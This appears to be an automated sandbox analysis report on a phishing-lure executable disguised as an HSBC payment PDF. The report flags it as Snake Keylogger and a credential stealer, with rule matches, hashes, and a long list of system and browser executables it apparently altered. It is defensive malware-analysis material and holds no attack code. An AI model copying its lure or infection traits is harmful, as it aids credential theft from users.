Windows Analysis Report
HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: String function: 00407DE1 appears 35 times
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: String function: 00428900 appears 42 times
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: String function: 00420AE3 appears 70 times

Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.4.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.4.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.4.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.4.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3

Source: elevation_service.exe.4.dr	Static PE information: Number of sections : 12 > 10
Source: ie_to_edge_stub.exe.4.dr	Static PE information: Number of sections : 11 > 10
Source: elevation_service.exe0.4.dr	Static PE information: Number of sections : 12 > 10
Source: firefox.exe.4.dr	Static PE information: Number of sections : 11 > 10
Source: setup.exe.4.dr	Static PE information: Number of sections : 13 > 10
Source: msedgewebview2.exe.4.dr	Static PE information: Number of sections : 14 > 10
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: Number of sections : 13 > 10
Source: chrome_proxy.exe.4.dr	Static PE information: Number of sections : 12 > 10
Source: msedge_proxy.exe.4.dr	Static PE information: Number of sections : 12 > 10
Source: identity_helper.exe.4.dr	Static PE information: Number of sections : 12 > 10

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1324471492.000000000438D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1319525137.00000000041E3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1317022213.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameALG.exej% vs HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1313006150.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearmsvc.exeN vs HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe PID: 3232, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 2724, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: chrome_proxy.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: crashreporter.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdate.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateBroker.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: default-browser-agent.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateComRegisterShell64.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: firefox.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: minidump-analyzer.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pingsender.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: plugin-container.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: private_browsing.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: updater.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: PerceptionSimulationService.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
